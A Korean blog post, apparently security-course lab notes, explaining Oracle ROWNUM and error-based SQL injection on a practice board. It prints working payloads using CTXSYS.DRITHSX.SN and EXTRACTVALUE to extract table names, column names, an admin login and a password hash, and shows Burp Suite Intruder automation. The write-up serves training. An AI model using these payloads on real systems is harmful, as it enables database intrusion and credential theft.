| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | 2 | 3 | 4 | |||
| 5 | 6 | 7 | 8 | 9 | 10 | 11 |
| 12 | 13 | 14 | 15 | 16 | 17 | 18 |
| 19 | 20 | 21 | 22 | 23 | 24 | 25 |
| 26 | 27 | 28 | 29 | 30 | 31 |
- 우아한테크코스
- c
- 레나튜토리얼
- React
- 리버싱
- sk쉴더스 루키즈
- Practical Malware Analysis Labs
- webhacking
- 동적분석
- 루키즈
- 레나 튜토리얼
- 깃
- 위상 정렬
- 백엔드
- 프리코스
- sk 쉴더스 루키즈 31기
- 악성코드 분석
- 루키즈31기
- linux
- Dreamhack
- SK쉴더스루키즈
- 알고리즘
- 웹개발
- sk 쉴더스
- sk 쉴더스 루키즈
- 자바
- 루키즈 31기
- 우테코
- top-cert
- 예술의 전당
- Today
- Total
yon11b
[SK 쉴더스 루키즈] Error Based SQL Injection(Oracle), +Burp Suite 로 푸는 방법 본문
[SK 쉴더스 루키즈] Error Based SQL Injection(Oracle), +Burp Suite 로 푸는 방법
yon11b 2026. 6. 23. 17:43공격흐름
- 쿼리문 유추
- 공격 포인트 찾기
- 에러 유발 제약 사항 확인
- DB 에러 메시지 확인
- 에러 유발 함수 (stored procedure)를 통해 쿼리문 실행하기
-> 해당 환경(Oracle, MySQL 등)에 맞는 함수를 잘 찾아 쓰는 것이 중요함!
- 테이블명 탈취
- 컬럼명 탈취
- 개인정보 탈취
ROWNUM이란?
Oracle DB에서 제공하는 가상 컬럼이다.
SQL 쿼리 결과로 반환되는 각 행에 대해 임시로 부여되는 1부터 시작하는 일련번호이다.
select * from address_book;

직접 rownum을 출력해서 볼 수도 있다.
select name, age, rownum
from address_book;

1. rownum=1을 출력하고 싶다.(됨)
select name, age, rownum
from address_book where rownum=1;

2. rownum=2을 출력하고 싶다.(안됨)
select name, age, rownum
from address_book where rownum=2;

왜?? 안 될까?
ROWNUM은 "테이블의 n번째 행 번호"가 아니라 "지금까지 조건을 통과해서 출력된 행의 순번" 이기 때문이다.
<rownum=2을 입력했을 때의 동작 흐름>
첫 번째 행 읽음
ROWNUM = 1
조건 실패
출력 안 함
두 번째 행 읽음
아직 출력된 행이 없음
Oracle은 다시 첫 번째 후보 행이라고 판단
ROWNUM = 1
조건 실패
세 번째 행 읽음
또 ROWNUM = 1
조건 실패
=> 결과: 출력 0개
<rownum<=2을 입력했을 때의 동작 흐름>
이건 어떨까?
select name, age, rownum
from address_book where rownum<=2;
첫 번째 행 읽음
ROWNUM = 1
조건 통과
출력
두 번째 행 읽음
ROWNUM = 2
조건 통과
출력
세 번째 행 읽음
ROWNUM = 3
조건 실패
종료
ROWNUM은 지금까지 조건을 통과해서 출력된 행의 순번이다!!라는 걸 잘 이해하고 있어야 한다.
그럼 rownum을 사용해서는 딱 num=2인걸 출력할 수 없는거냐!
그건 아니다. 서브쿼리를 쓰면 가능하다.
서브쿼리를 사용하여 rownum=2 출력하기
select *
from (
select name, age, rownum r
from address_book
)
where r = 2;
내부 쿼리:
이름 나이 r
A 20 1
B 30 2
C 40 3
를 먼저 만든다. 그 후 바깥 쿼리에서 where r=2를 적용한다.
그러면 두 번째 행을 가져올 수 있다.
※ 주의할 점: 이때 꼭 rownum에 별칭을 주어야 한다. 여기서는 r로 별칭을 주었다.
별칭을 주지 않으면 이렇게 되는데,
select *
from (
select name, age, rownum
from address_book
)
where rownum = 2;
그럼 rownum이 서브쿼리문의 rownum이 아니라 바깥 쿼리문의 rownum으로 인식되어서 서브쿼리문 안 하고 그냥 쿼리문 입력했을 때랑 똑같이 아무것도 출력이 되지 않는다.
실습문제: Oracle환경에서 Error Based SQLi
이 게시판의 쿼리문에서는 제목컬럼에서만 가져오는게 아니라 작성자, 조회수 등에서도 가져온다. 즉 조건이 한가지가 아니라는 것이다

예상되는 쿼리문
SELECT * from board
WHERE title LIKE '%입력값%'
OR writer LIKE '%입력값%'
OR content LIKE '%입력값%'
여기서 title 부분을 이용해보자.
SELECT * from board
WHERE title like '%q%' and 공격쿼리문 and '%'='%'
OR writer LIKE '%입력값%'
OR content LIKE '%입력값%'
SELECT * from board
WHERE ( title like '%q%' and 공격쿼리문 and '%'='%' )
OR writer LIKE '%입력값%'
OR content LIKE '%입력값%'
title like '%q%' and 공격쿼리문 and '%'='%'만 참으로 만들면 된다. 뒤는 다 OR로 이어져 있어서 앞만 참이면 된다.
공격포인트
q%' and 'j%'='j -> 잘 작동이 된다. and 뒤의 조건이 잘 실행된다는 것을 확인했다. 저 자리에 우리가 원하는 공격 쿼리문을 넣으면 될 것이다.

에러 유발에 이용되는 함수 찾기
CTXSYS.DRITHSX.SN() 함수를 이용한다.
Thesaurus란?
Oracle에서 검색할 때 동의어 사전을 만드는 기능
예를 들어 동의어 사전을 다음과 같이 등록해둔다고 해보자.
| 단어 | 동의어 |
| car | vehicle |
| dog | canine |
| car | automobile |
검색: CONTAINS(content, 'car') > 0
그럼 automobile, vehicle도 같이 검색된다.
CTXSYS.DRITHSX.SN() 란?
- Thesaurus = 동의어 데이터를 저장하는 객체
- CTXSYS.DRITHSX = Thesaurus를 조회하는 패키지
- CTXSYS.DRITHSX.SN() = 그 패키지 안의 함수
CTXSYS.DRITHSX.SN('SALES_THESAURUS', 'CAR') 의 의미
=> SALES_THESAURUS 사전에서 CAR의 동의어를 찾아라
이 함수는 oracle 내부 실행 함수라고 한다.
사용자 입력을 다음과 같이 줄 수 있다. 지금 로그인한 계정명을 조회하는 쿼리문이다. (user랑 select user from dual이랑 똑같은 의미이다. user 자체가 내부 변수로 지정이 되어있음)

qw%' and 2=CTXSYS.DRITHSX.SN(user, (select user from dual)) and '%'='
실행은 두번째 인자가 내부적으로 쿼리 실행이 된다고 한다.
CTXSYS.DRITHSX.SN() 문법
- 첫 번째 인자: Thesaurus 이름(일단 진짜 존재는 해야 함. 아니면 이 단어 자체를 못 찾겠다고 에러를 띄우니까. 예를 들어 아무문자 gvhn를 넣으면, 에러로 'gvhn'가 존재하지 않는다는 에러가 뜬다. 우리가 알고 싶은 거는 두번째 인자의 처리된 결과값이기 때문에 일단 첫번째 인자는 통과해야 하니까 첫번째 인자에는 실제로 존재하는 값을 넣어야 한다.)
- 두 번째 인자: 조회할 단어/구문
사용자 입력이 지금 where 절 안에 들어가기 때문에 and 뒤에 적어줘야 하고, and 뒤에는 boolean 값이 와야 하므로, 2= 을 적어준 것이다.
그럼 에러 메시지가 뜨는데, 잘 보면 select user from dual이 실행되어 SKINFOSEC7이라는 결과값을 출력하고 있음을 알 수 있다.
- qw%' and 2=CTXSYS.DRITHSX.SN(user, (select user from dual)) and '%'='
- qw%' and 2=CTXSYS.DRITHSX.SN(user, user) and '%'='
- qw%' and 2=CTXSYS.DRITHSX.SN((select user from dual), user) and '%'='
- qw%' and 2=CTXSYS.DRITHSX.SN((select user from dual),(select user from dual)) and '%'='
이거 다 동일한 결과를 출력함....(SKINFOSEC7을 출력함...)

테이블명 탈취
얘는 리턴값이 한 개만 가능해서 테이블이름+컬럼이름 한번에 구하기가 쉽지 않다.
일단 하나씩 구해보자.
user table에 있는 table name 중 q=5번째 인것(1부터 다 넣어봄)
qw%' and 2=CTXSYS.DRITHSX.SN(user,
(select table_name from
(select table_name, rownum q from user_tables)
where q=5))
and '%

테이블명: EQST_ANSWER
컬럼명 탈취
qw%' and 2=CTXSYS.DRITHSX.SN(user,
(select a from
(select column_name a, rownum b from cols where table_name = 'EQST_ANSWER')
where b = 1))
and '%'='

컬럼명: ANSWER_COLUMN
데이터 탈취
qw%' and 2=CTXSYS.DRITHSX.SN(user,
(select ANSWER_COLUMN from EQST_ANSWER))
and '%'='

다른 함수(EXTRACTVALUE) 써서 개인정보 테이블 탈취하기
테이블명 구하기
qw%' and 2=EXTRACTVALUE(
XMLTYPE('<x/>'),
'/x/[' || ((select a from (select table_name a, rownum q from user_tables) where q=4))) and '%'='
컬럼명 구하기
qw%' and 2=EXTRACTVALUE(
XMLTYPE('<x/>'),
'/x/[' || (select a from (select column_name a, rownum b from cols where table_name = 'MEMBER') where b=2)
) and '%'='

컬럼명: LOGIN_ID
b=3

b=6: EMAIL
b=7: PASS
qw%' and 2=EXTRACTVALUE(
XMLTYPE('<x/>'),
'/x/[' || (select USER_NM from MEMBER)
) and '%'='

- LOGIN_ID
- admin
- PASS
- e3cb25844d5ac242a084667608f2d89f
burp suite
Proxy

send to repeater하고 intercept는 off로 해준다.
Repeater
ctrl shift u → 원본 메시지 볼 수 있음. 그냥 보면 url 인코딩되어있음
다시 인코딩된걸 보려면 ctrl+u를 해주면 된다.

%3d 뒷 부분 숫자만을 바꿔주면 된다.

intruder
1,2,3,4,5~~넣는게 귀찮을 때 사용하는 것

드래그한 부분을 너가 알아서 집어넣어서 돌려줘. 사용 가능
드래그 > add 클릭 > 우측에 payloads 뜸
1부터 20까지 1씩 증가하면서 넣을 것이다.

하고 start attack 클릭


repeater에서 3d 다음의 숫자값을 바꾸고 send 누르면 auto scroll 설정 해놓은 것 때문에 자동 포커스가 된다.
auto scroll 설정: html 인코딩 된 " → (")
-> 이건 응답데이터 보고 정답 데이터 근처 문자열이 어떤 공통된 특징을 가지고 있나를 미리 살펴봐야 한다.

'보안 > SK 쉴더스 루키즈' 카테고리의 다른 글
| [SK 쉴더스 루키즈] Blind SQL Injection(MySQL USER명 탈취) (0) | 2026.06.25 |
|---|---|
| [SK 쉴더스 루키즈] Error Based SQL Injection(MySQL) (0) | 2026.06.24 |
| [SK 쉴더스 루키즈] UNION SQL Injection (Oracle, SQLite, MySQL) (0) | 2026.06.22 |
| [SK 쉴더스 루키즈] OLE 구조 분석 (1) | 2026.06.15 |
| [SK 쉴더스 루키즈] Splunk 차트 그리기 & 대시보드 & 룩업 (1) | 2026.06.12 |